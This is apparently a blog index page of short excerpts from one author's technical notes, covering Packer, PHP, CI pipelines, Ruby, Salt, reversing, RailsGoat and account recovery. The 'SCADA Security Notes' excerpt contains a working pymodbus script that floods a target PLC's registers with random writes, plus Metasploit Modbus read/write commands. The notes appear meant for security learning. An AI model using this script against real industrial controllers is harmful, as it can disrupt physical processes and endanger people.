Migrate Multiple DBs with Active Record sans Rails

In this post I will cover the various components you’ll need to migrate multiple databases with Active Record without using Rails. I’ll also throw some template files up on github so you can start messing around with this as well. To minimize confusion, be aware that whenever you see <bla> , you as the programmer need to specify this particular piece of information, based on your environment. It is also worth noting that I’m writing this code for Unix-based environments. If you want to do this in Windows, please enjoy, and let me know how I can update this article to include that work. ...

Jayson Grace

Packer notes

Installation on Ubuntu 20.04 curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add - sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main" sudo apt-get update && sudo apt-get install packer # Verify it works packer Resource: https://learn.hashicorp.com/tutorials/packer/getting-started-install File transfer This snippet will move a directory called scripts into the /tmp directory of the AMI being built. It will then run an ls -l on /tmp from within the AMI being built so that we can see that the directory transferred as we expected it to. ...

Jayson Grace

PHP Notes

I’m not thrilled that I have to create this cheatsheet, but such is life. Embed HTML in php <?php echo "<p>Stuff</p>"; ?> Resource: https://stackoverflow.com/questions/18140270/how-to-write-html-code-inside-php Setup Debugger with PHP w/ PHPStorm and XAMPP Start out by installing phpstorm and xampp. Follow the process in here: https://www.techflirt.com/install-configure-xdebug-on-xampp-windows-and-mac/ For the above process, don’t forget to install xdebug for the version of php in xampp, and not the OS version: /Applications/XAMPP/bin/php -v Make sure you do everything in here: https://confluence.jetbrains.com/display/PhpStorm/Xdebug+Installation+Guide ...

Jayson Grace

Pipelines Cheatsheet

Github Actions Get status of private action with bash Before running this command, you will need to create a Personal Access Token and set the env var PAT to its value. curl -u "$(git config user.name):${PAT}" \ -s "https://api.github.com/repos/username/somerepo/actions/workflows/someaction.yml/runs" | \ jq -r '.workflow_runs[0].status'time Resource: https://stackoverflow.com/questions/65953108/how-can-i-get-the-passing-failing-status-of-a-github-action-workflow Get latest commit hash with github actions # Set it: - name: Add SHORT_SHA env property with commit short sha run: echo "SHORT_SHA=`echo ${GITHUB_SHA} | cut -c1-8`" >> $GITHUB_ENV # Use it: - name: My step run: myscript ${SHORT_SHA} Resource: https://stackoverflow.com/questions/59810838/how-to-get-the-short-sha-for-the-github-workflow ...

Jayson Grace

RailsGoat Notes

This is the tutorial for the talk I gave on Web Application Vulnerabilities at the RubiABQ meetup on March 8th, 2017. Legal The below is not intended to provide details on how to compromise other people’s web sites and applications. The purpose is to inform developers on how to protect themselves from malicious users and attackers. The tools and methods listed should only be used on sites and applications which you directly own or have permission in writing to work on. ...

Jayson Grace

Reversing Notes

Environment Setup VMWare everything in a VLAN Remnux linux box - has things like iptables rules which accept traffic from any ip that connects to it and a fake dns tool. Process Monitor Useful for seeing what processes are spawned with a given running program. Used to get real-time information. Process hacker is an open source alternative. Process Explorer Determine what files, DLLs, and registry keys are associated with open processes. ...

Jayson Grace

Ruby Notes

File Operations Chmod file File.chmod(0600, file) Resource: https://stackoverflow.com/questions/22707040/change-permissions-of-file-in-ruby Move file without fileutils File.rename source_path, target_path Resource: https://stackoverflow.com/questions/403239/how-do-i-move-a-file-with-ruby Fix extensions not built errors Run this command: gem pristine --all Resource: https://stackoverflow.com/questions/48339706/ignoring-gems-because-its-extensions-are-not-built Multiline comments =begin stuff =end Resource: https://stackoverflow.com/questions/2989762/multi-line-comments-in-ruby Install specific version of a gem Install the bcrypt_pbkdf package that came before version 2.0. gem install bcrypt_pbkdf -v '<2.0' Don’t install docs with gem by default echo 'gem: --no-document' >> ~/.gemrc Resource: https://stackoverflow.com/questions/1381725/how-to-make-no-ri-no-rdoc-the-default-for-gem-install RVM Install rvm and ruby VER=3.2.1 gpg --keyserver keyserver.ubuntu.com \ --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB \curl -sSL https://get.rvm.io | bash -s stable --ruby rvm install ruby-"${VER}" Install specific ruby version and use by default VER=3.2.1 rvm install $VER rvm use $VER --default

Jayson Grace

Salt Notes

Secrets View secrets from master salt '*' pillar.items Create key called mysecretkey on master echo -n "supersecret" | gpg --armor --batch --trust-model always --encrypt -r "mysecretkey" View secrets from minion salt-call pillar.items Get a specific secret from a minion salt-call pillar.get a-secret Resource: https://fabianlee.org/2016/10/18/saltstack-keeping-salt-pillar-data-encrypted-using-gpg/ Directory structure There are two essential locations for salt related files (excluding service files): /etc/salt /srv/salt /etc/salt holds configuration files for the master and minion, as well as the keys for known minions. ...

Jayson Grace

SCADA Security Notes

Modbus write random registers from pymodbus.client.sync import ModbusTcpClient import multiprocessing import random from multiprocessing import TimeoutError client = ModbusTcpClient('[target]') client.connect() def write(reg): client.write_register(reg+1, random.randint(1, 100)) print('reg:' + str(reg)) if __name__ == '__main__': while True: p = multiprocessing.Pool(2) try: p.map(write, [x for x in range(20)]) except TimeoutError: pass except Exception as e: print(e) exit() client.close() Read and write data to a PLC with metasploit use auxiliary/scanner/scada/modbusclient set DATA_ADDRESS 1 set RHOST [target] set ACTION READ_REGISTERS set NUMBER 19 run

Jayson Grace

Securing a hacked account

There’s nothing worse than finding out that one of your accounts has been breached. Here’s a quick guide to help you secure your account: Discovering a breach in one of your accounts can be alarming. Follow this streamlined guide for securing your account efficiently: Prioritize and Stay Calm - First, assess if the compromised password was reused on more critical accounts. If yes, secure the more vital account immediately. Change Your Password - Log into the affected account and update your password to a unique and complex one. If access is denied, use the “forgot password” feature to reset it. ...

Jayson Grace